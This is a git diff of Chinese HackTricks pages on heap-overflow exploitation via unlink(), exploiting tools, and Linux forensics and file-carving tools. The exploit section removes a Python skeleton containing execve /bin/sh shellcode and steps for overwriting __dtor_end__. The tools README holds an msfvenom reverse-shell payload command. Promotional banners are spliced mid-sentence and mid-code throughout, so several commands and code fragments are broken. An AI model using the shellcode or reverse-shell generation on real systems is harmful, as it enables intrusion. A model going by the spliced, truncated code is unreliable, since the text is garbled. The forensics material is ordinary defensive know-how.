+此外，unlink()的第4条语句写入了一些内容，shellcode必须为此进行修复：
-BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 这将从shellcode的第8个字节开始写入4个字节，因此shellcode的第一条指令必须是跳转指令以跳过此内容，然后进入一系列nop指令，最终执行shellcode的其余部分。
+BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 这会导致从shellcode的第8个字节开始写入4个字节，因此shellcode的第一条指令必须是一个jmp，以跳过这一部分并落入一些nops中，进而进入其余的shellcode。
-因此，利用程序如下：
+因此，利用被创建：
-在buffer1中插入shellcode，以跳转指令开头，使其跳转到nop或shellcode的其余部分。
+在buffer1中放入shellcode，从jmp开始，以便落入nops或其余的shellcode。
-在shellcode之后填充，直到达到下一个块的prev\_size和size字段。在这些位置上插入0xfffffff0（以覆盖prev\_size并设置空闲位）和“-4”（0xfffffffc）在size中（以便在第三个块检查第二个块是否空闲时实际上转到修改后的prev\_size，指示第二个块是空闲的）-> 这样，当free()调查时，它将转到第三个块的size，但实际上会转到第二个块 - 4，并认为第二个块是空闲的。然后调用**unlink()**。
-在调用unlink()时，将使用第二块的前几个数据作为P->fd，因此将在那里插入要覆盖的地址 - 12（因为在FD->bk中将在保存在FD中的地址上加12）。然后在该地址中插入第二块中找到的第二个地址，我们希望它是shellcode的地址（P->bk伪造）。
+在shellcode之后填充，直到到达下一个块的prev\_size和size字段。在这些位置放入0xfffffff0（以便覆盖prev\_size，使其具有表示空闲的位）和“-4”（0xfffffffc）在size中（以便在检查第三个块时，如果第二个块实际上是空闲的，它会去修改的prev\_size，告诉它是空闲的）-> 这样，当free()检查时，它将去第三个块的size，但实际上会去第二个块-4，并认为第二个块是空闲的。然后将调用**unlink()**。
-```python
-from struct import *
-import os
+调用unlink()时，将使用第二个块的前几个数据作为P->fd，因此将放入要覆盖的地址-12（因为在FD->bk中将加12到存储在FD中的地址）。在该地址中，将放入第二个块中找到的第二个地址，我们希望它是指向shellcode的地址（伪造的P->bk）。
-shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding
-shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
-"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
-"\x80\xe8\xdc\xff\xff\xff/bin/sh";
+**from struct import \***
-prev_size = pack("从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md
index a6973dc46..f05d16df5 100644
--- a/exploiting/tools/README.md
+++ b/exploiting/tools/README.md
@@ -1,18 +1,19 @@
-# 漏洞利用工具
+# Exploiting Tools
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上**关注我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
## Metasploit
```
@@ -23,8 +24,6 @@ nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
-
-Shellcode是一种用于利用软件漏洞的小型二进制代码。通常用于利用缓冲区溢出漏洞，通过向受影响的程序注入恶意代码来实现攻击。Shellcode通常以十六进制格式编写，目的是执行特定的操作，如提权、执行命令等。
```
msfvenom /p windows/shell_reverse_tcp LHOST=从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index efa0f89ff..4dc672def 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# Linux取证
+# Linux Forensics
从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 初始信息收集
### 基本信息
-首先，建议准备一些带有**已知良好的二进制文件和库**的**USB**（您可以使用Ubuntu并复制文件夹_/bin_，_/sbin_，_/lib_和_/lib64_），然后挂载USB，并修改环境变量以使用这些二进制文件：
+首先，建议准备一个 **USB**，上面有 **已知的良好二进制文件和库**（你可以直接获取 ubuntu 并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_），然后挂载 USB，并修改环境变量以使用这些二进制文件：
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-一旦您已配置系统以使用良好且已知的二进制文件，您可以开始**提取一些基本信息**：
+一旦您配置系统以使用良好且已知的二进制文件，您就可以开始**提取一些基本信息**：
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### 可疑信息
-在获取基本信息时，应检查以下异常情况：
+在获取基本信息时，您应该检查一些奇怪的事情，例如：
-- **Root进程**通常以较低的PID运行，因此如果发现一个具有较大PID的Root进程，可能存在可疑
-- 检查`/etc/passwd`中没有shell的用户的**注册登录**
-- 检查`/etc/shadow`中没有shell的用户的**密码哈希值**
+* **Root 进程** 通常使用低 PIDS，因此如果您发现一个具有大 PID 的 root 进程，您可能会怀疑
+* 检查 **没有 shell 的用户** 在 `/etc/passwd` 中的 **注册登录**
+* 检查 **没有 shell 的用户** 在 `/etc/shadow` 中的 **密码哈希**
### 内存转储
-为了获取运行中系统的内存，建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
-要**编译**它，需要使用与受害者机器相同的**内核**。
+要获取正在运行的系统的内存，建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\
+要 **编译** 它，您需要使用受害者机器正在使用的 **相同内核**。
{% hint style="info" %}
-请记住，**不能在受害者机器上安装LiME或任何其他东西**，因为这将对其进行多处更改
+请记住，您 **无法在受害者机器上安装 LiME 或其他任何东西**，因为这会对其进行多项更改
{% endhint %}
-因此，如果你有一个相同版本的Ubuntu，可以使用`apt-get install lime-forensics-dkms`\
-在其他情况下，您需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME)，并使用正确的内核头文件编译它。要**获取受害者机器的确切内核头文件**，只需将目录`/lib/modules/从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
-
-从零开始学习 AWS 黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)!
+从零到英雄学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!
-您在**网络安全公司**工作吗？ 您想在 HackTricks 中看到您的**公司广告**吗？ 或者您想访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ +你在一家**网络安全公司**工作吗？你想在HackTricks上看到你的**公司广告**吗？或者你想访问**最新版本的PEASS或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 +* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com) +* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在Twitter上关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -**通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。** +**通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR分享你的黑客技巧。**[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
-## 分区
+## Partitions
-硬盘或**SSD磁盘可以包含不同的分区**，目的是在物理上分隔数据。\
-磁盘的**最小**单元是**扇区**（通常由512B组成）。因此，每个分区的大小都需要是该大小的倍数。
+硬盘或 **SSD 磁盘可以包含不同的分区**，目的是物理上分隔数据。\
+磁盘的 **最小** 单位是 **扇区**（通常由 512B 组成）。因此，每个分区的大小需要是该大小的倍数。
-### MBR（主引导记录）
+### MBR (主引导记录)
-它分配在磁盘的**第一个扇区**中，位于引导代码的446B之后。这个扇区对于指示PC应该从哪里挂载分区很重要。\
-它允许**最多4个分区**（最多**只能有1个**是活动的/**可引导的**）。但是，如果您需要更多分区，可以使用**扩展分区**。这个第一个扇区的最后一个字节是引导记录签名**0x55AA**。只能标记一个分区为活动的。\
-MBR允许**最大2.2TB**。
+它分配在 **引导代码后磁盘的第一个扇区的 446B**。这个扇区对于指示 PC 应该从哪里挂载分区至关重要。\
+它最多允许 **4 个分区**（最多 **只有 1 个** 可以是活动的/**可引导**）。但是，如果需要更多分区，可以使用 **扩展分区**。这个第一个扇区的 **最后一个字节** 是引导记录签名 **0x55AA**。只能标记一个分区为活动。\
+MBR 允许 **最大 2.2TB**。
.png>)
.png>)
-从MBR的**字节440到443**，您可以找到**Windows磁盘签名**（如果使用Windows）。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会阻止Windows引导（工具：[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
+从 MBR 的 **440 到 443 字节** 可以找到 **Windows 磁盘签名**（如果使用 Windows）。硬盘的逻辑驱动器字母取决于 Windows 磁盘签名。更改此签名可能会导致 Windows 无法启动（工具：[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
.png>)
**格式**
-| 偏移量 | 长度 | 项目 |
+| 偏移 | 长度 | 项目 |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | 引导代码 |
-| 446 (0x1BE) | 16 (0x10) | 第一个分区 |
-| 462 (0x1CE) | 16 (0x10) | 第二个分区 |
-| 478 (0x1DE) | 16 (0x10) | 第三个分区 |
-| 494 (0x1EE) | 16 (0x10) | 第四个分区 |
+| 446 (0x1BE) | 16 (0x10) | 第一个分区 |
+| 462 (0x1CE) | 16 (0x10) | 第二个分区 |
+| 478 (0x1DE) | 16 (0x10) | 第三个分区 |
+| 494 (0x1EE) | 16 (0x10) | 第四个分区 |
| 510 (0x1FE) | 2 (0x2) | 签名 0x55 0xAA |
**分区记录格式**
-| 偏移量 | 长度 | 项目 |
+| 偏移 | 长度 | 项目 |
| --------- | -------- | ------------------------------------------------------ |
-| 0 (0x00) | 1 (0x01) | 活动标志（0x80 = 可引导） |
-| 1 (0x01) | 1 (0x01) | 起始磁头 |
-| 2 (0x02) | 1 (0x01) | 起始扇区（位0-5）；柱面的高位（6-7） |
-| 3 (0x03) | 1 (0x01) | 起始柱面的最低8位 |
-| 4 (0x04) | 1 (0x01) | 分区类型代码（0x83 = Linux） |
-| 5 (0x05) | 1 (0x01) | 结束磁头 |
-| 6 (0x06) | 1 (0x01) | 结束扇区（位0-5）；柱面的高位（6-7） |
-| 7 (0x07) | 1 (0x01) | 结束柱面的最低8位 |
-| 8 (0x08) | 4 (0x04) | 分区前的扇区数（小端） |
-| 12 (0x0C) | 4 (0x04) | 分区中的扇区数 |
+| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) |
+| 1 (0x01) | 1 (0x01) | 起始磁头 |
+| 2 (0x02) | 1 (0x01) | 起始扇区（位 0-5）；气缸的高位（6-7） |
+| 3 (0x03) | 1 (0x01) | 起始气缸最低 8 位 |
+| 4 (0x04) | 1 (0x01) | 分区类型代码 (0x83 = Linux) |
+| 5 (0x05) | 1 (0x01) | 结束磁头 |
+| 6 (0x06) | 1 (0x01) | 结束扇区（位 0-5）；气缸的高位（6-7） |
+| 7 (0x07) | 1 (0x01) | 结束气缸最低 8 位 |
+| 8 (0x08) | 4 (0x04) | 分区前的扇区（小端） |
+| 12 (0x0C) | 4 (0x04) | 分区中的扇区 |
-要在Linux中挂载MBR，首先需要获取起始偏移量（您可以使用`fdisk`和`p`命令）
+为了在 Linux 中挂载 MBR，您首先需要获取起始偏移（可以使用 `fdisk` 和 `p` 命令）
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
@@ -70,84 +71,85 @@ mount -o ro,loop,offset=从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客攻击： [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index 785b743ca..b37c70500 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -1,18 +1,19 @@
-# 文件/数据切割和恢复工具
+# 文件/数据雕刻与恢复工具
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
**Try Hard Security Group**
@@ -22,17 +23,17 @@
***
-## 切割和恢复工具
+## 雕刻与恢复工具
-更多工具请查看[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+更多工具请访问 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
-在取证中最常用的提取图像文件的工具是[**Autopsy**](https://www.autopsy.com/download/)。下载、安装并让其摄取文件以查找“隐藏”文件。请注意，Autopsy旨在支持磁盘映像和其他类型的映像，而不是简单文件。
+在取证中提取图像文件的最常用工具是 [**Autopsy**](https://www.autopsy.com/download/)。下载并安装它，然后让它处理文件以查找“隐藏”文件。请注意，Autopsy 是为支持磁盘映像和其他类型的映像而构建的，但不支持简单文件。
### Binwalk
-**Binwalk**是用于分析二进制文件以查找嵌入内容的工具。可通过`apt`安装，其源代码位于[GitHub](https://github.com/ReFirmLabs/binwalk)。
+**Binwalk** 是一个分析二进制文件以查找嵌入内容的工具。可以通过 `apt` 安装，其源代码在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上。
**有用的命令**：
```bash
@@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
-另一个常用的查找隐藏文件的工具是**foremost**。您可以在`/etc/foremost.conf`中找到foremost的配置文件。如果您只想搜索一些特定文件，请取消注释。如果您不取消注释任何内容，foremost将搜索其默认配置的文件类型。
+另一个常用的工具来查找隐藏文件是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件，请取消注释它们。如果您不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@@ -51,53 +52,76 @@ foremost -v -i file.img -o output
```
### **Scalpel**
-**Scalpel** 是另一个工具，可用于查找和提取**嵌入在文件中的文件**。在这种情况下，您需要从配置文件（_/etc/scalpel/scalpel.conf_）中取消注释您希望提取的文件类型。
+**Scalpel** 是另一个可以用来查找和提取 **嵌入在文件中的文件** 的工具。在这种情况下，您需要从配置文件 (_/etc/scalpel/scalpel.conf_) 中取消注释您希望提取的文件类型。
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
-这个工具包含在kali中，但你也可以在这里找到它：[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
+这个工具包含在kali中，但你可以在这里找到它: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
-这个工具可以扫描一个镜像，并且会**提取其中的pcaps**，**网络信息（URLs、域名、IP地址、MAC地址、邮件）**以及更多**文件**。你只需要执行以下操作：
+这个工具可以扫描一个镜像并**提取其中的pcaps**，**网络信息（URLs、域名、IP、MAC、邮件）**以及更多**文件**。你只需执行：
```
bulk_extractor memory.img -o out_folder
```
+导航通过**工具收集的所有信息**（密码？），**分析** **数据包**（阅读[**Pcaps分析**](../pcap-inspection/)），搜索**奇怪的域名**（与**恶意软件**或**不存在**的域名相关）。
+
### PhotoRec
您可以在[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)找到它。
-它带有 GUI 和 CLI 版本。您可以选择要让 PhotoRec 搜索的**文件类型**。
+它提供GUI和CLI版本。您可以选择PhotoRec要搜索的**文件类型**。
.png>)
### binvis
-检查[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
+查看[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
-#### BinVis 的特点
+#### BinVis的特点
-- 可视化和活跃的**结构查看器**
-- 不同焦点的多个绘图
-- 集中在样本的部分
-- 在 PE 或 ELF 可执行文件中**查看字符串和资源**
-- 从文件中获取用于密码分析的**模式**
-- **发现**打包程序或编码器算法
-- 通过模式**识别**隐写术
-- **视觉**二进制差异
+* 视觉和主动的**结构查看器**
+* 针对不同焦点的多个图
+* 专注于样本的部分
+* **查看PE或ELF可执行文件中的字符串和资源**
+* 获取文件的**模式**以进行密码分析
+* **识别**打包器或编码器算法
+* 通过模式**识别**隐写术
+* **视觉**二进制差异比较
-BinVis 是在黑盒测试场景中熟悉未知目标的**起点**。
+BinVis是一个很好的**起点，以熟悉未知目标**在黑箱场景中。
-## 特定数据刻录工具
+## 特定数据雕刻工具
### FindAES
-通过搜索其密钥计划来搜索 AES 密钥。能够找到用于 TrueCrypt 和 BitLocker 等的 128、192 和 256 位密钥。
+通过搜索其密钥调度来搜索AES密钥。能够找到128、192和256位密钥，例如TrueCrypt和BitLocker使用的密钥。
-在[此处](https://sourceforge.net/projects/findaes/)下载。
+在[这里下载](https://sourceforge.net/projects/findaes/)。
-## 附加工具
+## 补充工具
-您可以使用[**viu**](https://github.com/atanunq/viu)来在终端中查看图像。\
-您可以使用 Linux 命令行工具**pdftotext**将 pdf 转换为文本并阅读它。
+您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。\
+您可以使用Linux命令行工具**pdftotext**将PDF转换为文本并阅读。
+
+**Try Hard Security Group**
+
+从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
